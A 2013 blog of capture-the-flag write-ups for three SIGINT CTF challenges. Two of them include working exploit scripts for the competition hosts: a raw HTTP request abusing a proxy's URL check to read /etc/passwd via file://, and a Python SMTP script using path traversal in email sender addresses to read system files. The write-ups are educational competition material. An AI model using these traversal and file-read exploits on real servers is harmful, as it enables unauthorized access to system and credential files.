The SIGINT CTF certainly had some of the coolest challenges I've done in awhile and I say kudos to the organizers! Thanks for a great CTF! However, due to limited time and small numbers of people playing (as well as the difficulty on some challenges), we only finished a few. However, the ones we did finish we rather cool and our writeups are linked below.
Another NetSec Blog
Just another blog where someone talks about network security and CTFs and stuff....
Sunday, July 7, 2013
SIGINT CTF: Proxy
This challenge presented a proxy server that had some strange restrictions on it. Below is the very short server file.
- suntzu_II
#!/usr/bin/env python import SocketServer import SimpleHTTPServer import urllib2 import logging from urlparse import urlparse logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') class Proxy(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): parsed_url = urlparse(self.path) logging.info(parsed_url) if parsed_url.netloc == "localhost": self.copyfile(urllib2.urlopen(self.path), self.wfile) SocketServer.TCPServer.allow_reuse_address = True httpd = SocketServer.ForkingTCPServer(('0.0.0.0', 8080), Proxy)urlparse will take the various parts of a URI put them into sever fields of an object. The netloc field is the main location of a URI. For example, in the URI http://facebook.com/index.php, netloc == facebook.com. What's tricky here is that urlparse will not recognize a netloc unless it is preceded by a double slash (//). I fooled around for a while with doing things like
wget http://localhost//localhost/etc/passwdWith this URL, self.path == //localhost/etc/passwd and urlparse correctly gave netloc == localhost. But when it tried to do a urlopen on the self.path, the entire thing blew up. Only after a long time of thinking did I realize that everything was being preceded by a / because that is how most everything works in an HTTP request. The request looks like
GET / HTTP/1.1So then I decided to form my own HTTP request and do it differently, which worked! Below is the winning script.
''' proxy exploit - suntzu_II nexpect is a tool a friend and I wrote that uses regular expression matching to perform expect functions over sockets. I use it here to create a GET request. Check it out here. ''' import nexpect n = nexpect.spawn(('188.40.147.125',8080)) n.sendline('GET file://localhost/etc/passwd HTTP/1.1') # Note the lack of a preceding '/' n.sendline() n.sendline() n.interact()The flag was SIGINT_a64428fe231bcdcabbea.
- suntzu_II
SIGINT CTF: PROtocol
The PROtocol challenge gave an IP Address and a port to connect to and no other information. So the first thing to do is whip out nc and try to connect. After connecting, it immediately replied "not tcp." So I added the flag that said to do UDP and the program replied "not udp." So it must be a weird protocol then. I am a regular reader of http://www.reddit.com/r/netsec, and several days ago, I remembered reading about reverse shells over SCTP and so ran the command
- suntzu_II
ncat --sctp 188.40.147.103 1024The program spit back a rather long string that was mostly hex, one underscore, and a couple of capital letters. From previous challenges, I knew that the keys looked like SIGINT_abcdef and so I determined that the string was the flag scrambled up. But how was it scrambled up? I examined the traffic in wireshark and noticed that the Sequence Numbers were all 0 for the data. It turns out that SCTP doesn't necessarily have to have Sequence Numbers associated with data, at which point the data will reassemble itself on the other side of the transmission in the order it arrives instead of the order it was sent. However, all of the pieces of data DID have numbered SIDs, which correlated to position within the flag string. It was just a matter of extracting the SIDs without having to do it by hand. So I went back to my friend tshark and had some fun.
tshark -i tun0 -R "sctp" -Tfields -e "sctp.data_sid"After I ran this command, I ran the ncat again so I had the data and the SIDs in the same order. Then I just ran them through the below python script and voila!
''' PROtocol exploit - suntzu_II ''' scrambled = '2f0981d9Na071752ecGcfcd4c2I41b998c275a3a61df20fa48c0098b3f22cb3ddedd56c5eac026Td85b1335334S975f9eabdd_dI5a6' order = '0x0050,0x0019,0x004c,0x0065,0x0059,0x0043,0x0049,0x0008,0x0004,0x0053,0x0055,0x002e,0x001a,0x0057,0x0068,0x0027,0x003b,0x001b,0x0002,0x0054,0x0063,0x0069,0x003e,0x002a,0x0040,0x000b,0x0003,0x0056,0x0009,0x0033,0x0032,0x0041,0x0046,0x0015,0x003f,0x003c,0x004d,0x0029,0x0022,0x0042,0x005f,0x001e,0x005c,0x0021,0x0066,0x005b,0x003d,0x0047,0x0062,0x000c,0x003a,0x005e,0x0031,0x000d,0x0036,0x004a,0x0034,0x0067,0x0026,0x0035,0x0020,0x004e,0x0018,0x0028,0x004f,0x001c,0x0045,0x002b,0x0058,0x0011,0x001f,0x0023,0x005d,0x0024,0x0013,0x0017,0x0039,0x001d,0x0005,0x0014,0x0048,0x002f,0x0025,0x002d,0x0064,0x0060,0x0038,0x0016,0x000a,0x000e,0x0000,0x002c,0x0052,0x0044,0x0010,0x0051,0x0012,0x004b,0x005a,0x0037,0x006a,0x0006,0x0007,0x0001,0x0061,0x000f,0x0030' intsOrder = [] for i in order.split(','): index = int(i[2:],16) intsOrder.append(index) unscrambled = '' for i in xrange(len(intsOrder)): unscrambled += scrambled[intsOrder.index(i)] print unscrambledThe flag was SIGINT_d9132894af6ecdc303f1ce61ccf35ab22da4d9175609b328d52ce7fd2c9a15d8a8dba05bd297ac04758b0de06354f392f5cd.
- suntzu_II
SIGINT CTF: Mail
The mail challenge presented a program which used email as the basis for cloud storage software. It interpreted commands from the "Subject" line of an email and then performed actions, with the results being emailed back to the sender. The server code is shown below (I have modified the send_response and send_error methods to work over STDIO so that I could beat the program locally without sending emails).
- suntzu_II
#!/usr/bin/ruby require "pathname" Dir.chdir(Pathname.new(__FILE__).dirname.to_s) require "mail" mail_size_limit= 16*1024 user_size_limit= 1024**2 users_dir= Pathname.new("user") raw_incoming_mail= STDIN.read(mail_size_limit) incoming_mail= Mail.new(raw_incoming_mail) user= [incoming_mail.from].flatten[0].gsub('"', "") exit 1 unless user exit 1 unless user=~ /@/ subject= incoming_mail.subject exit 1 unless subject user_dir= users_dir + user.split("@", 2).reverse.join("___") print user_dir+"\n" size_file= user_dir + ".size" tmp_size_file= user_dir + ".size_tmp" ''' available commands: signup list put get <filename> delete <filename> share <filename> <user> ''' def send_response(original_mail, response_string, attachment= nil, response_subject=nil) print "\nReponse:\n------------\n\n" print original_mail,"\n" print response_string,"\n" print attachment,"\n" print response_subject,"\n" print "------------\n" end def send_error(original_mail, error_string) print "\nError:\n-------------\n\n" print original_mail,"\n" print error_string,"\n" print "-----------\n" end case subject when "signup" if user_dir.directory? send_error(incoming_mail, "your are already signed up") exit end unless (user_dir+"../.signup_allowed").file? send_error(incoming_mail, "signup is currently disabled") exit end user_dir.mkdir size_file.open("w") { |f| f.puts 0 } send_response(incoming_mail, "signup successfull") when "list" unless user_dir.directory? send_error(incoming_mail, "you are not signed up") exit end file_listing= "your_files:\n" + user_dir.children.select do |file| file.basename.to_s[0] != ?. end.collect do |file| "#{file.basename} #{file.size/1024.0}Kb" end.join("\n") send_response(incoming_mail, file_listing) when /\Aget ([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/ file_name= $1 file_path= user_dir+file_name unless user_dir.directory? send_error(incoming_mail, "you are not signed up") exit end unless file_path.file? send_error(incoming_mail, "the requested file does not exist") exit end send_response(incoming_mail, "here is your requested file", file_path.to_s) when /\Ashare ([A-Za-z0-9_-]+(\.[a-z0-9]+)?) ([A-Za-z0-9][A-Za-z0-9._-]*@([A-Za-z0-9-]+\.)+[A-Za-z]+)\Z/ file_name= $1 second_user= $3 file_path= user_dir+file_name unless user_dir.directory? send_error(incoming_mail, "you are not signed up") exit end unless file_path.file? send_error(incoming_mail, "the requested file does not exist") exit end second_user_dir= users_dir + second_user.split("@", 2).reverse.join("___") second_size_file= second_user_dir + ".size" second_file_path= second_user_dir + file_name unless second_size_file.file? send_error(incoming_mail, "the given user is not signed up") exit end if second_file_path.exist? send_error(incoming_mail, "file cannot be shared for unknown reasons") exit end second_file_path.make_symlink(file_path.to_s.sub("user/", "../")) send_response(incoming_mail, "file shared", file_path.to_s) when /\Adelete ([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/ file_name= $1 file_path= user_dir+file_name user_size= begin size_file.read.to_i rescue Errno::ENOENT send_error(incoming_mail, "you are not signed up") exit end unless file_name[0] != ?. and file_path.file? send_error(incoming_mail, "the requested file does not exist") exit end user_size-= file_path.size file_path.unlink tmp_size_file.open("w") { |f| f.puts user_size } tmp_size_file.rename(size_file) send_response(incoming_mail, "file deleted") when "put" user_size= begin size_file.read.to_i rescue Errno::ENOENT send_error(incoming_mail, "you are not signed up") exit end attachment= incoming_mail.attachments[0] unless attachment and attachment.filename=~ /\A([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/ send_error(incoming_mail, "no valid attachment found") exit end file_path= user_dir+attachment.filename if file_path.exist? send_error(incoming_mail, "file already exists") exit end attachement_body= attachment.body.decoded user_size+= attachement_body.size if user_size > user_size_limit send_error(incoming_mail, "you have no space left") exit end tmp_size_file.open("w") { |f| f.puts user_size } tmp_size_file.rename(size_file) file_path.open("w") { |f| f.write attachement_body } send_response(incoming_mail, "file saved") endThe main flaw in this program comes from this line of code:
user_dir= users_dir + user.split("@", 2).reverse.join("___")This means that any user root@example.com will have a working directory of example.com___root. This lends itself to directory traversal by having a source email address of root/../@example.com, which become example.com___root/../. Whenever the commands are run, they run from the working directory of the email address. The hardest part, then, is getting an email server working that will correctly handle email addresses like this. I worked with a buddy pretty heavily to get this working. We eventually resorted to having a "catch-em-all" email box on his server and just sent emails from him as an open relay. We had a command running in the Maildir that would always be showing the most recent mail, so any email responses we got would flash on our screen immediately. This, combined with the script shown below gave us a shell of sorts through the emails.
''' Mail exploit - by suntzu_II 1. Run the 'signup'command as a@example.com. This creates a directory of example.com___a. 2. Run any command but perform directory traversal with email addresses like this: - list,a/../@example.com - get passwd,a/../../../../etc/@example.com ''' import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import base64 def sendMessage(action, send_from, send_to): msg = MIMEMultipart() msg['To'] = send_to msg['From'] = send_from msg['Subject'] = action smtp = smtplib.SMTP('b3.ctf.sigint.ccc.de',25) smtp.sendmail(send_from, send_to, msg.as_string()) smtp.close() while True: cmd = raw_input("Command: ").split(',') sendMessage(cmd[0], 'a/'+cmd[1]+'@example.com', 'test@b3.ctf.sigint.ccc.de')The flag was in /etc/passwd.
- suntzu_II
Saturday, July 6, 2013
First Post!
As a recent graduate from the Delusions of Grandeur team (a purely undergrad team), I needed a place to do writeups for cool CTF challenges (how I spend most of my time) and just other fun stuff I've been doing. As such, I have created yet another blog that noone will read except for the links from ctftime.org. Anyway, a couple of buddies and I have formed a team called Glimpses of Grandeur so we can play CTFs in our free time (which is not a lot). So have fun and feel free to peruse the posts that we have. Thanks!
- suntzu_II
Subscribe to:
Posts (Atom)